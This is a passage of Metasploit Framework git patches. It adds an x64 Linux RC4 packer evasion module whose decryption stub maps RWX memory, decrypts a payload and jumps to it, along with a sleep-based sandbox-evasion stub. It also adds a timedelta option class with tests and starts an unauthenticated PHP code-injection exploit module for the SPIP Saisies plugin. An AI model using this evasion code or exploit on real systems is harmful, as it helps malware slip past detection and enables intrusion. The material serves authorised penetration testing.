-    stub << [STUB_ENCRYPTED_DATA_OFFSET].pack('V')
-    # 0x9d: mov r9d, [r12+0x108]          ; r9 = encrypted_size
-    stub << [0x8c8b45].pack('V')[0,3]
-    stub << [0x24].pack('C')
-    stub << [STUB_ENCRYPTED_SIZE_OFFSET].pack('V')
-    # 0xa5: xor ecx, ecx                  ; i = 0
-    stub << [0xc931].pack('v')
-    # 0xa7: xor edx, edx                  ; j = 0
-    stub << [0xd231].pack('v')
-    # 0xa9: xor r10d, r10d                ; k = 0 (byte counter)
-    stub << [0x3145].pack('v')
-    stub << [0xd2].pack('C')
-
-    # PRGA loop: for k = 0..encrypted_size-1
-    # 0xac: inc ecx                       ; i = (i + 1)
-    stub << [0xc1ff].pack('v')
-    # 0xae: and ecx, 0xff                 ; i &= 0xFF
-    stub << [0xe181].pack('v')
-    stub << [0x000000ff].pack('V')
-    # 0xb4: movzx eax, byte [rdi+rcx]     ; eax = S[i]
-    stub << [0xb60f].pack('v')
-    stub << [0x0f04].pack('v')
-    # 0xb8: add edx, eax                  ; j += S[i]
-    stub << [0xc201].pack('v')
-    # 0xba: and edx, 0xff                 ; j &= 0xFF
-    stub << [0xe281].pack('v')
-    stub << [0x000000ff].pack('V')
-    # swap S[i] and S[j]:
-    # 0xc0: movzx eax, byte [rdi+rcx]     ; eax = S[i]
-    stub << [0xb60f].pack('v')
-    stub << [0x0f04].pack('v')
-    # 0xc4: movzx r11d, byte [rdi+rdx]    ; r11 = S[j]
-    stub << [0xb60f44].pack('V')[0,3]
-    stub << [0x171c].pack('v')
-    # 0xc9: mov [rdi+rcx], r11b           ; S[i] = S[j]
-    stub << [0x8844].pack('v')
-    stub << [0x0f1c].pack('v')
-    # 0xcd: mov [rdi+rdx], al             ; S[j] = S[i]
-    stub << [0x0488].pack('v')
-    stub << [0x17].pack('C')
-    # keystream byte and XOR:
-    # 0xd0: add eax, r11d                 ; eax = S[i] + S[j]
-    stub << [0x0144].pack('v')
-    stub << [0xd8].pack('C')
-    # 0xd3: and eax, 0xff                 ; eax &= 0xFF
-    stub << [0x25].pack('C')
-    stub << [0x000000ff].pack('V')
-    # 0xd8: movzx eax, byte [rdi+rax]     ; eax = S[(S[i]+S[j]) & 0xFF]
-    stub << [0xb60f].pack('v')
-    stub << [0x0704].pack('v')
-    # 0xdc: xor al, [r8+r10]              ; al ^= encrypted[k]
-    stub << [0x3243].pack('v')
-    stub << [0x1004].pack('v')
-    # 0xe0: mov [r13+r10], al             ; output[k] = decrypted
-    stub << [0x8843].pack('v')
-    stub << [0x1544].pack('v')
-    stub << [0x00].pack('C')
-    # 0xe5: inc r10d                      ; k++
-    stub << [0xff41].pack('v')
-    stub << [0xc2].pack('C')
-    # 0xe8: cmp r10d, r9d                 ; compare k with size
-    stub << [0x3945].pack('v')
-    stub << [0xca].pack('C')
-    # 0xeb: jne 0xac                      ; loop until k == encrypted_size
-    stub << [0xbf75].pack('v')
-
-    # === PART 5: Cleanup and jump ===
-    # 0xed: add rsp, 256                  ; restore stack
-    stub << [0x8148].pack('v')
-    stub << [0xc4].pack('C')
-    stub << [0x00000100].pack('V')
-    # 0xf4: jmp r13                       ; jump to decrypted payload
-    stub << [0xff41].pack('v')
-    stub << [0xe5].pack('C')
-
-    # Pad to data section
-    stub << ("\x90" * (STUB_KEY_SIZE_OFFSET - stub.length))
-
-    # Data section placeholders
-    stub << ("\x00" * 8)    # key_size at 0xf8
-    stub << ("\x00" * 8)    # payload_size at 0x100
-    stub << ("\x00" * 8)    # encrypted_size at 0x108
-    stub << ("\x00" * 256)  # key_data at 0x110
-
-    stub
+    asm = <<-ASM
+_start:
+      lea r12, [rip + _data_section - _rip_ref]
+_rip_ref:
+
+      ; mmap(NULL, payload_size, PROT_RWX, MAP_PRIVATE|MAP_ANON, -1, 0)
+      mov rsi, qword [r12 + 8]
+      xor edi, edi 
+      mov edx, 7 
+      mov r10d, 0x22 
+      mov r8d, 0xffffffff
+      xor r9d, r9d
+      mov eax, 9
+      syscall
+      mov r13, rax
+
+      ;Initialize S-box (256 bytes) on stack
+      sub rsp, 256 
+      mov rdi, rsp
+
+      xor ecx, ecx
+_init_sbox:
+      mov byte [rdi + rcx], cl
+      inc ecx
+      cmp ecx, 256
+      jne _init_sbox
+
+      ;  RC4 Key Scheduling Algorithm (KSA)
+      lea r8, [r12 + 24]
+      mov r9d, dword [r12]
+      xor ecx, ecx
+      xor edx, edx
+
+_ksa_loop:
+      movzx eax, byte [rdi + rcx]
+      add edx, eax
+
+      mov eax, ecx
+_mod_loop:
+      cmp eax, r9d
+      jb _mod_done
+      sub eax, r9d
+      jmp _mod_loop
+_mod_done:
+
+      movzx eax, byte [r8 + rax]
+      add edx, eax
+      and edx, 0xff
+
+      movzx eax, byte [rdi + rcx]
+      movzx r10d, byte [rdi + rdx]
+      mov byte [rdi + rcx], r10b
+      mov byte [rdi + rdx], al
+
+      inc ecx
+      cmp ecx, 256
+      jne _ksa_loop
+
+      ; RC4 Pseudo-Random Generation Algorithm
+      lea r8, [r12 + 280]
+      mov r9d, dword [r12 + 16]
+      xor ecx, ecx
+      xor edx, edx
+      xor r10d, r10d
+
+_prga_loop:
+      inc ecx
+      and ecx, 0xff
+
+      movzx eax, byte [rdi + rcx]
+      add edx, eax
+      and edx, 0xff
+
+      movzx eax, byte [rdi + rcx]
+      movzx r11d, byte [rdi + rdx]
+      mov byte [rdi + rcx], r11b
+      mov byte [rdi + rdx], al
+
+      add eax, r11d
+      and eax, 0xff
+      movzx eax, byte [rdi + rax]
+
+      xor al, byte [r8 + r10]
+      mov byte [r13 + r10], al
+
+      inc r10d
+      cmp r10d, r9d
+      jne _prga_loop
+
+      add rsp, 256
+      jmp r13
+
+_data_section:
+; Data section layout (populated by rc4_decrypter):
+; offset +0:   key_size (8 bytes)
+; offset +8:   payload_size (8 bytes)
+; offset +16:  encrypted_size (8 bytes)
+; offset +24:  key_data (256 bytes)
+; offset +280: encrypted_data (variable length)
+    ASM
+
+    Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
   end
 
   def rc4_decrypter(opts = {})
@@ -221,21 +110,31 @@ def rc4_decrypter(opts = {})
     payload = opts[:data] || raise(ArgumentError, "Encrypted data required")
 
     encrypted_data = Rex::Crypto::Rc4.rc4(key, payload)
-    payload_size = encrypted_data.length
 
     stub = rc4_decrypter_stub.dup
+    code_size = stub.length
+
+    # Data section offsets (relative to end of stub code)
+    key_size_offset = code_size
+    payload_size_offset = code_size + 8
+    encrypted_size_offset = code_size + 16
+    key_data_offset = code_size + 24
+    encrypted_data_offset = code_size + 280
 
-    stub[STUB_KEY_SIZE_OFFSET, 8] = [key.length].pack('Q<')
-    stub[STUB_PAYLOAD_SIZE_OFFSET, 8] = [payload.length].pack('Q<')
-    stub[STUB_ENCRYPTED_SIZE_OFFSET, 8] = [encrypted_data.length].pack('Q<')
+    # Allocate space for data section (24 bytes header + 256 bytes key)
+    stub << "\x00" * 280
 
-    stub[STUB_KEY_DATA_OFFSET, 256] = key.ljust(256, "\x00")
+    # Patch in the values
+    stub[key_size_offset, 8] = [key.length].pack('Q<')
+    stub[payload_size_offset, 8] = [payload.length].pack('Q<')
+    stub[encrypted_size_offset, 8] = [encrypted_data.length].pack('Q<')
+    stub[key_data_offset, 256] = key.ljust(256, "\x00")
 
     stub + encrypted_data
   end
 
   def stub_size
-    STUB_ENCRYPTED_DATA_OFFSET
+    rc4_decrypter_stub.length + 280
   end
 
 end
\ No newline at end of file

From 02d31dfbcb3b7bf4943c521fd6f4fecf4cc56eea Mon Sep 17 00:00:00 2001
From: litemars <maxmassi12@gmail.com>
Date: Fri, 13 Feb 2026 14:34:41 +0100
Subject: [PATCH 007/103] changing jmp/call/pop instructions

---
 lib/msf/core/payload/linux/x64/rc4_decrypter.rb | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/lib/msf/core/payload/linux/x64/rc4_decrypter.rb b/lib/msf/core/payload/linux/x64/rc4_decrypter.rb
index fdf86151c45ea..ff96b350e8e80 100644
--- a/lib/msf/core/payload/linux/x64/rc4_decrypter.rb
+++ b/lib/msf/core/payload/linux/x64/rc4_decrypter.rb
@@ -3,8 +3,10 @@ module Msf::Payload::Linux::X64::Rc4Decrypter
   def rc4_decrypter_stub
     asm = <<-ASM
 _start:
-      lea r12, [rip + _data_section - _rip_ref]
-_rip_ref:
+      jmp _get_data_addr
+
+_got_data_addr:
+      pop r12
 
       ; mmap(NULL, payload_size, PROT_RWX, MAP_PRIVATE|MAP_ANON, -1, 0)
       mov rsi, qword [r12 + 8]
@@ -93,7 +95,8 @@ def rc4_decrypter_stub
       add rsp, 256
       jmp r13
 
-_data_section:
+_get_data_addr:
+      call _got_data_addr
 ; Data section layout (populated by rc4_decrypter):
 ; offset +0:   key_size (8 bytes)
 ; offset +8:   payload_size (8 bytes)

From 57b17a45c247e43698d8850eba7befdbae3a9fc9 Mon Sep 17 00:00:00 2001
From: litemars <maxmassi12@gmail.com>
Date: Wed, 18 Feb 2026 15:14:27 +0100
Subject: [PATCH 008/103] add comment on support of memfd_create Kernel>3.17

---
 modules/evasion/linux/x64_rc4_packer.rb | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/modules/evasion/linux/x64_rc4_packer.rb b/modules/evasion/linux/x64_rc4_packer.rb
index 597b8735f914a..1f7db0118ed5f 100644
--- a/modules/evasion/linux/x64_rc4_packer.rb
+++ b/modules/evasion/linux/x64_rc4_packer.rb
@@ -17,12 +17,12 @@ def initialize(info = {})
         'Description'    => %q{
           This module generates a Linux ELF executable with RC4 encryption
           and optional sleep-based sandbox evasion.
+
+          The evasion module works on systems with Linux Kernel > 3.17 due to memfd_create support.
           
           Features:
           - RC4 encryption with configurable key
-          - In-memory decryption and execution
-          - Optional sleep delay for sandbox evasion
-          - Position-independent shellcode
+          - Fileless execution via memfd_create
         },
         'Author'         => ['Massimo Bertocchi'],
         'License'        => MSF_LICENSE,

From b9b253743dd1544cb0c78e6d70e586446ab968c1 Mon Sep 17 00:00:00 2001
From: litemars <44295342+litemars@users.noreply.github.com>
Date: Fri, 20 Feb 2026 17:43:22 +0100
Subject: [PATCH 009/103] Update modules/evasion/linux/x64_rc4_packer.rb

Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
---
 modules/evasion/linux/x64_rc4_packer.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/modules/evasion/linux/x64_rc4_packer.rb b/modules/evasion/linux/x64_rc4_packer.rb
index 1f7db0118ed5f..300b33bf5d1f2 100644
--- a/modules/evasion/linux/x64_rc4_packer.rb
+++ b/modules/evasion/linux/x64_rc4_packer.rb
@@ -42,7 +42,7 @@ def initialize(info = {})
   def run
 
     raw_payload = payload.encoded
-    unless raw_payload && raw_payload.length > 0
+    if raw_payload.blank?
       fail_with(Failure::BadConfig, "Failed to generate payload")
     end
 

From cdd66793bfe6289d75b7fe4dd6f356fbfcabc3b2 Mon Sep 17 00:00:00 2001
From: litemars <maxmassi12@gmail.com>
Date: Fri, 20 Feb 2026 17:53:24 +0100
Subject: [PATCH 010/103] updating the sleep evasion and the rc4_decrypter for
 x64

---
 .../core/payload/linux/x64/rc4_decrypter.rb   | 83 ++++++-------------
 .../core/payload/linux/x64/sleep_evasion.rb   | 56 ++++---------
 2 files changed, 45 insertions(+), 94 deletions(-)

diff --git a/lib/msf/core/payload/linux/x64/rc4_decrypter.rb b/lib/msf/core/payload/linux/x64/rc4_decrypter.rb
index ff96b350e8e80..2e208dc94ac89 100644
--- a/lib/msf/core/payload/linux/x64/rc4_decrypter.rb
+++ b/lib/msf/core/payload/linux/x64/rc4_decrypter.rb
@@ -1,6 +1,6 @@
 module Msf::Payload::Linux::X64::Rc4Decrypter
 
-  def rc4_decrypter_stub
+  def rc4_decrypter_stub(key_size: 0, payload_size: 0, encrypted_size: 0)
     asm = <<-ASM
 _start:
       jmp _get_data_addr
@@ -9,20 +9,19 @@ def rc4_decrypter_stub
       pop r12
 
       ; mmap(NULL, payload_size, PROT_RWX, MAP_PRIVATE|MAP_ANON, -1, 0)
-      mov rsi, qword [r12 + 8]
-      xor edi, edi 
-      mov edx, 7 
-      mov r10d, 0x22 
+      mov esi, #{payload_size}
+      xor edi, edi
+      mov edx, 7
+      mov r10d, 0x22
       mov r8d, 0xffffffff
       xor r9d, r9d
       mov eax, 9
       syscall
       mov r13, rax
 
-      ;Initialize S-box (256 bytes) on stack
-      sub rsp, 256 
+      ; Initialize S-box (256 bytes) on stack
+      sub rsp, 256
       mov rdi, rsp
-
       xor ecx, ecx
 _init_sbox:
       mov byte [rdi + rcx], cl
@@ -30,16 +29,14 @@ def rc4_decrypter_stub
       cmp ecx, 256
       jne _init_sbox
 
-      ;  RC4 Key Scheduling Algorithm (KSA)
-      lea r8, [r12 + 24]
-      mov r9d, dword [r12]
+      ; RC4 Key Scheduling Algorithm (KSA)
+      mov r8, r12
+      mov r9d, #{key_size}
       xor ecx, ecx
       xor edx, edx
-
 _ksa_loop:
       movzx eax, byte [rdi + rcx]
       add edx, eax
-
       mov eax, ecx
 _mod_loop:
       cmp eax, r9d
@@ -47,47 +44,38 @@ def rc4_decrypter_stub
       sub eax, r9d
       jmp _mod_loop
 _mod_done:
-
       movzx eax, byte [r8 + rax]
       add edx, eax
       and edx, 0xff
-
       movzx eax, byte [rdi + rcx]
       movzx r10d, byte [rdi + rdx]
       mov byte [rdi + rcx], r10b
       mov byte [rdi + rdx], al
-
       inc ecx
       cmp ecx, 256
       jne _ksa_loop
 
-      ; RC4 Pseudo-Random Generation Algorithm
-      lea r8, [r12 + 280]
-      mov r9d, dword [r12 + 16]
+      ; RC4 Pseudo-Random Generation Algorithm (PRGA)
+      lea r8, [r12 + 256]
+      mov r9d, #{encrypted_size}
       xor ecx, ecx
       xor edx, edx
       xor r10d, r10d
-
 _prga_loop:
       inc ecx
       and ecx, 0xff
-
       movzx eax, byte [rdi + rcx]
       add edx, eax
       and edx, 0xff
-
       movzx eax, byte [rdi + rcx]
       movzx r11d, byte [rdi + rdx]
       mov byte [rdi + rcx], r11b
       mov byte [rdi + rdx], al
-
       add eax, r11d
       and eax, 0xff
       movzx eax, byte [rdi + rax]
-
       xor al, byte [r8 + r10]
       mov byte [r13 + r10], al
-
       inc r10d
       cmp r10d, r9d
       jne _prga_loop
@@ -97,47 +85,30 @@ def rc4_decrypter_stub
 
 _get_data_addr:
       call _got_data_addr
-; Data section layout (populated by rc4_decrypter):
-; offset +0:   key_size (8 bytes)
-; offset +8:   payload_size (8 bytes)
-; offset +16:  encrypted_size (8 bytes)
-; offset +24:  key_data (256 bytes)
-; offset +280: encrypted_data (variable length)
+
+; Data section layout:
+; offset +0:   key_data (256 bytes)
+; offset +256: encrypted_data (variable length)
     ASM
 
     Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
   end
 
   def rc4_decrypter(opts = {})
-    key = opts[:key] || Rex::Text.rand_text(16)
-    payload = opts[:data] || raise(ArgumentError, "Encrypted data required")
+    key            = opts[:key] || Rex::Text.rand_text(16)
+    payload        = opts[:data] || raise(ArgumentError, "Encrypted data required")
+    raise(ArgumentError, "Key must be <= 256 bytes") if key.length > 256
 
     encrypted_data = Rex::Crypto::Rc4.rc4(key, payload)
 
-    stub = rc4_decrypter_stub.dup
-    code_size = stub.length
-
-    # Data section offsets (relative to end of stub code)
-    key_size_offset = code_size
-    payload_size_offset = code_size + 8
-    encrypted_size_offset = code_size + 16
-    key_data_offset = code_size + 24
-    encrypted_data_offset = code_size + 280
-
-    # Allocate space for data section (24 bytes header + 256 bytes key)
-    stub << "\x00" * 280
-
-    # Patch in the values
-    stub[key_size_offset, 8] = [key.length].pack('Q<')
-    stub[payload_size_offset, 8] = [payload.length].pack('Q<')
-    stub[encrypted_size_offset, 8] = [encrypted_data.length].pack('Q<')
-    stub[key_data_offset, 256] = key.ljust(256, "\x00")
-
-    stub + encrypted_data
-  end
+    stub = rc4_decrypter_stub(
+      key_size:       key.length,
+      payload_size:   payload.length,
+      encrypted_size: encrypted_data.length
+    )
 
-  def stub_size
-    rc4_decrypter_stub.length + 280
+    stub << key.ljust(256, "\x00")
+    stub << encrypted_data
   end
 
 end
\ No newline at end of file
diff --git a/lib/msf/core/payload/linux/x64/sleep_evasion.rb b/lib/msf/core/payload/linux/x64/sleep_evasion.rb
index d6ba7376ec0a5..be5dd70cceb9a 100644
--- a/lib/msf/core/payload/linux/x64/sleep_evasion.rb
+++ b/lib/msf/core/payload/linux/x64/sleep_evasion.rb
@@ -1,40 +1,20 @@
 module Msf::Payload::Linux::X64::SleepEvasion
 
-    STUB_SLEEP_SECONDS_OFFSET = 0x02
-
-    def sleep_stub
-      stub = ""
-
-      # 0x00: jmp 0x12                   ; jump forward to code (skip data section)
-      stub << [0xeb, 0x10].pack('C*')
-      # 0x02: timespec.tv_sec (8 bytes)  ; sleep duration in seconds (patched later)
-      stub << "\x00\x00\x00\x00\x00\x00\x00\x00"
-      # 0x0a: timespec.tv_nsec (8 bytes) ; nanoseconds component (always 0)
-      stub << "\x00\x00\x00\x00\x00\x00\x00\x00"
-      # 0x12: lea rdi, [rip-0x10]        ; rdi -> timespec structure (RIP-relative addressing)
-      stub << [0x48, 0x8d, 0x3d, 0xf0, 0xff, 0xff, 0xff].pack('C*')
-      # 0x19: xor rsi, rsi               ; rsi = NULL (remaining time pointer)
-      stub << [0x48, 0x31, 0xf6].pack('C*')
-      # 0x1c: mov rax, 35                ; syscall number for nanosleep (0x23)
-      stub << [0x48, 0xc7, 0xc0, 0x23, 0x00, 0x00, 0x00].pack('C*')
-      # 0x23: syscall                    ; invoke syscall
-      stub << [0x0f, 0x05].pack('C*')
-      # 0x25: execution continues to appended payload
-
-      stub
-    end
-
-    def sleep_evasion(opts = {})
-      seconds = opts[:seconds] || 0
-      return "" if seconds == 0
-
-      stub = sleep_stub.dup
-      stub[STUB_SLEEP_SECONDS_OFFSET, 8] = [seconds].pack('Q<')
-      stub
-    end
-
-    def sleep_stub_size
-      37
-    end
-
-end
+  def sleep_evasion(opts = {})
+    seconds = opts[:seconds] || rand(60)
+    asm = <<-ASM
+      ; nanosleep(&timespec, NULL)
+      push 0                  ; timespec.tv_nsec = 0
+      push #{seconds}         ; timespec.tv_sec = <seconds>
+      mov rdi, rsp            ; rdi -> timespec on stack
+      xor rsi, rsi            ; rsi = NULL (remaining time pointer)
+      mov eax, 35             ; syscall number for nanosleep (0x23)
+      syscall                 ; invoke syscall
+      add rsp, 16             ; restore stack
+      ; execution continues to appended payload
+    ASM
+
+    Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
+  end
+
+end
\ No newline at end of file

From ce2e23cceffd9cbfd3ec3cf6bf252a17ba0ea032 Mon Sep 17 00:00:00 2001
From: Nayeraneru <nayera.shafeeq@gmail.com>
Date: Fri, 20 Feb 2026 22:28:05 +0200
Subject: [PATCH 011/103] add OptTimedelta datastore option and remove
 Kerberos-specific clock skew parsing

---
 .../core/exploit/remote/kerberos/client.rb    |  7 +-
 .../kerberos/service_authenticator/options.rb |  7 +-
 lib/msf/core/opt_timedelta.rb                 | 64 +++++++++++++++++++
 lib/rex/proto/mssql/client.rb                 |  4 +-
 .../exploit/remote/kerberos/client_spec.rb    |  7 ++
 spec/lib/msf/core/opt_timedelta_spec.rb       | 30 +++++++++
 6 files changed, 109 insertions(+), 10 deletions(-)
 create mode 100644 lib/msf/core/opt_timedelta.rb
 create mode 100644 spec/lib/msf/core/opt_timedelta_spec.rb

diff --git a/lib/msf/core/exploit/remote/kerberos/client.rb b/lib/msf/core/exploit/remote/kerberos/client.rb
index da33c67771947..41e7d55b0ff4e 100644
--- a/lib/msf/core/exploit/remote/kerberos/client.rb
+++ b/lib/msf/core/exploit/remote/kerberos/client.rb
@@ -1,6 +1,6 @@
 # -*- coding: binary -*-
 
-require 'msf/core/exploit/remote/kerberos/clock_skew'
+require 'msf/core/opt_timedelta'
 
 module Msf
   class Exploit
@@ -45,8 +45,7 @@ def initialize(info = {})
 
             register_advanced_options(
               [
-                OptString.new('KrbClockSkew', [true, 'Adjust Kerberos client clock by this offset (e.g. 90s, -5m, 1h)', '0s'],
-                              regex: Msf::Exploit::Remote::Kerberos::ClockSkew::CLOCK_SKEW_REGEX)
+                OptTimedelta.new('KrbClockSkew', [true, 'Adjust Kerberos client clock by this offset (e.g. 90s, -5m, 1h)', '0s'])
               ], self.class
             )
           end
@@ -90,7 +89,7 @@ def kerberos_clock_skew
           #
           # @param value [String, Numeric, nil]
           def kerberos_clock_skew=(value)
-            @kerberos_clock_skew = Msf::Exploit::Remote::Kerberos::ClockSkew.parse(value)
+            @kerberos_clock_skew = Msf::OptTimedelta.parse(value)
           end
 
           # Returns the current time adjusted for Kerberos clock skew in UTC.
diff --git a/lib/msf/core/exploit/remote/kerberos/service_authenticator/options.rb b/lib/msf/core/exploit/remote/kerberos/service_authenticator/options.rb
index 7761f16283877..1d539e6de9a91 100644
--- a/lib/msf/core/exploit/remote/kerberos/service_authenticator/options.rb
+++ b/lib/msf/core/exploit/remote/kerberos/service_authenticator/options.rb
@@ -3,7 +3,7 @@
 #
 # This class stores Metasploit option configuration used across service authentication
 #
-require 'msf/core/exploit/remote/kerberos/clock_skew'
+require 'msf/core/opt_timedelta'
 
 module Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Options
   # Create the list of options that a module must provide for Kerberos authentication via the given protocol
@@ -38,10 +38,9 @@ def kerberos_auth_options(protocol:, auth_methods:)
         fallbacks: ['Rhostname'],
         conditions: option_conditions
       ),
-      Msf::OptString.new(
+      Msf::OptTimedelta.new(
         'KrbClockSkew',
         [true, 'Adjust Kerberos client clock by this offset (e.g. 90s, -5m, 1h)', '0s'],
-        regex: Msf::Exploit::Remote::Kerberos::ClockSkew::CLOCK_SKEW_REGEX,
         conditions: option_conditions
       ),
       Msf::OptAddress.new(
@@ -66,6 +65,6 @@ def kerberos_auth_options(protocol:, auth_methods:)
   #
   # @return [Float]
   def kerberos_clock_skew_seconds
-    Msf::Exploit::Remote::Kerberos::ClockSkew.parse(datastore['KrbClockSkew'])
+    Msf::OptTimedelta.parse(datastore['KrbClockSkew'])
   end
 end
diff --git a/lib/msf/core/opt_timedelta.rb b/lib/msf/core/opt_timedelta.rb
new file mode 100644
index 0000000000000..c4ac01931ad74
--- /dev/null
+++ b/lib/msf/core/opt_timedelta.rb
@@ -0,0 +1,64 @@
+# frozen_string_literal: true
+
+# -*- coding: binary -*-
+
+module Msf
+  class OptTimedelta < OptBase
+    TIMEDELTA_REGEX = /\A([+-]?\d+(?:\.\d+)?(?:[smhd])?)+\z/i.freeze
+
+    UNIT_IN_SECONDS = {
+      's' => 1,
+      'm' => 60,
+      'h' => 3_600,
+      'd' => 86_400
+    }.freeze
+
+    attr_reader :allow_negative
+
+    def initialize(in_name, attrs = [], allow_negative: true, **kwargs)
+      super(in_name, attrs, **kwargs)
+      @allow_negative = allow_negative
+    end
+
+    def type
+      'timedelta'
+    end
+
+    def normalize(value)
+      self.class.parse(value)
+    end
+
+    def valid?(value, check_empty: true, datastore: nil)
+      return false if check_empty && empty_required_value?(value)
+
+      begin
+        parsed_value = self.class.parse(value)
+      rescue Msf::OptionValidateError
+        return false
+      end
+
+      return false if !allow_negative && parsed_value.negative?
+
+      super
+    end
+
+    def self.parse(value)
+      return 0 if value.nil?
+      return value.to_f if value.is_a?(Numeric)
+
+      trimmed_value = value.to_s.strip
+      return 0 if trimmed_value.empty?
+      return trimmed_value.to_f if trimmed_value.match?(/\A[+-]?\d+(?:\.\d+)?\z/)
+      raise Msf::OptionValidateError.new([], message: 'Invalid timedelta format') unless trimmed_value.match?(TIMEDELTA_REGEX)
+
+
+      total = 0
+      trimmed_value.scan(/([+-]?\d+(?:\.\d+)?)([smhd]?)/i) do |amount, unit|
+        unit = 's' if unit.blank?
+        multiplier = UNIT_IN_SECONDS[unit.downcase]
+        total += amount.to_f * multiplier
+      end
+      total
+    end
+  end
+end
\ No newline at end of file
diff --git a/lib/rex/proto/mssql/client.rb b/lib/rex/proto/mssql/client.rb
index 7c3251ce826f8..c841fb71a8431 100644
--- a/lib/rex/proto/mssql/client.rb
+++ b/lib/rex/proto/mssql/client.rb
@@ -3,7 +3,7 @@
 require 'rex/text'
 require 'msf/core/exploit'
 require 'msf/core/exploit/remote'
-require 'msf/core/exploit/remote/kerberos/clock_skew'
+require 'msf/core/opt_timedelta'
 
 module Rex
   module Proto
@@ -389,7 +389,7 @@ def login_kerberos(user, pass, db, domain_name)
             framework: framework,
             framework_module: framework_module,
             ticket_storage: Msf::Exploit::Remote::Kerberos::Ticket::Storage::WriteOnly.new(framework: framework, framework_module: framework_module),
-            clock_skew: Msf::Exploit::Remote::Kerberos::ClockSkew.parse(framework_module.datastore['KrbClockSkew'])
+            clock_skew: Msf::OptTimedelta.parse(framework_module.datastore['KrbClockSkew'])
           )
 
           kerberos_result = kerberos_authenticator.authenticate
diff --git a/spec/lib/msf/core/exploit/remote/kerberos/client_spec.rb b/spec/lib/msf/core/exploit/remote/kerberos/client_spec.rb
index 90e7890229a97..872c41aa51ae0 100644
--- a/spec/lib/msf/core/exploit/remote/kerberos/client_spec.rb
+++ b/spec/lib/msf/core/exploit/remote/kerberos/client_spec.rb
@@ -11,6 +11,13 @@
     mod
   end
 
+
+  describe 'KrbClockSkew option' do
+    it 'is registered as an OptTimedelta datastore option' do
+      expect(subject.options['KrbClockSkew']).to be_a(Msf::OptTimedelta)
+    end
+  end
+
   describe '#kerberos_clock_skew' do
     it 'defaults to zero' do
       expect(subject.kerberos_clock_skew).to eq(0)
diff --git a/spec/lib/msf/core/opt_timedelta_spec.rb b/spec/lib/msf/core/opt_timedelta_spec.rb
new file mode 100644
index 0000000000000..b43a5c9f0d622
--- /dev/null
+++ b/spec/lib/msf/core/opt_timedelta_spec.rb
@@ -0,0 +1,30 @@
+# -*- coding:binary -*-
+
+require 'spec_helper'
+
+RSpec.describe Msf::OptTimedelta do
+  valid_values = [
+    { value: '120', normalized: 120.0 },
+    { value: '-5m', normalized: -300.0 },
+    { value: '1h30m', normalized: 5_400.0 },
+    { value: '2d', normalized: 172_800.0 },
+    { value: '+1.5h', normalized: 5_400.0 }
+  ]
+
+  invalid_values = [
+    { value: 'yolo' },
+    { value: '1w' },
+    { value: '5mfoo' }
+  ]
+
+  it_behaves_like 'an option', valid_values, invalid_values, 'timedelta'
+
+  describe '#valid?' do
+    it 'can enforce positive-only values' do
+      subject = described_class.new('Duration', [true, 'Duration'], allow_negative: false)
+
+      expect(subject.valid?('5m')).to be(true)
+      expect(subject.valid?('-5m')).to be(false)
+    end
+  end
+end
\ No newline at end of file

From a8f66a23d9e44301883b8fec3d46a2fdd0a34076 Mon Sep 17 00:00:00 2001
From: Valentin Lobstein <balgogan@protonmail.com>
Date: Sat, 21 Feb 2026 09:26:03 +0100
Subject: [PATCH 012/103] Feat: Add SPIP Saisies plugin RCE module
 (CVE-2025-71243)

---
 .../exploit/multi/http/spip_saisies_rce.md    | 234 ++++++++++++++++++
 lib/msf/core/exploit/remote/http/spip.rb      |  22 ++
 .../exploits/multi/http/spip_saisies_rce.rb   | 228 +++++++++++++++++
 3 files changed, 484 insertions(+)
 create mode 100644 documentation/modules/exploit/multi/http/spip_saisies_rce.md
 create mode 100644 modules/exploits/multi/http/spip_saisies_rce.rb

diff --git a/documentation/modules/exploit/multi/http/spip_saisies_rce.md b/documentation/modules/exploit/multi/http/spip_saisies_rce.md
new file mode 100644
index 0000000000000..e678e3413dae9
--- /dev/null
+++ b/documentation/modules/exploit/multi/http/spip_saisies_rce.md
@@ -0,0 +1,234 @@
+## Vulnerable Application
+
+This module exploits an unauthenticated PHP code injection in the SPIP Saisies
+plugin (CVE-2025-71243). The `_anciennes_valeurs` form parameter is interpolated
+unsanitized into a hidden field rendered with `interdire_scripts=false`, giving
+direct PHP code execution via SPIP's template eval.
+
+Exploitation requires a publicly accessible page containing a saisies-powered
+form, most commonly created with the Formidable plugin. Versions 5.4.0 through
+5.11.0 of the saisies plugin are affected.
+
+### Docker Setup
+
+```bash
+mkdir spip-lab && cd spip-lab
+```
+
+Create `docker-compose.yml`:
+
+```yaml
+services:
+  spip:
+    image: ipeos/spip:latest
+    container_name: spip-cve
+    ports:
+      - "8888:80"
+    environment:
+      SPIP_AUTO_INSTALL: 1
+      SPIP_DB_SERVER: mysql
+      SPIP_DB_HOST: db
+      SPIP_DB_LOGIN: spip
+      SPIP_DB_PASS: spip
+      SPIP_DB_NAME: spip
+      SPIP_ADMIN_NAME: Admin
+      SPIP_ADMIN_LOGIN: admin
+      SPIP_ADMIN_EMAIL: admin@spip.local
+      SPIP_ADMIN_PASS: adminadmin
+      SPIP_SITE_ADDRESS: http://localhost:8888
+    volumes:
+      - ./setup.sh:/docker-entrypoint-init.d/setup.sh
+    depends_on:
+      db:
+        condition: service_healthy
+    healthcheck:
+      test: ["CMD", "curl", "-f", "http://localhost/"]
+      interval: 10s
+      timeout: 5s
+      retries: 30
+
+  db:
+    image: mariadb:10.11
+    container_name: spip-cve-db
+    environment:
+      MYSQL_DATABASE: spip
+      MYSQL_USER: spip
+      MYSQL_PASSWORD: spip
+      MYSQL_ROOT_PASSWORD: root
+    healthcheck:
+      test: ["CMD", "healthcheck.sh", "--connect", "--innodb_initialized"]
+      interval: 5s
+      timeout: 3s
+      retries: 10
+```
+
+Create `setup.sh`:
+
+```bash
+#!/bin/bash
+set -e
+
+PLUGINS_DIR="/var/www/html/plugins"
+SAISIES_URL="https://files.spip.org/spip-zone/spip-contrib-extensions/saisies-d7b40-saisies-5.11.0.zip"
+
+echo "[*] Waiting for SPIP to be fully installed..."
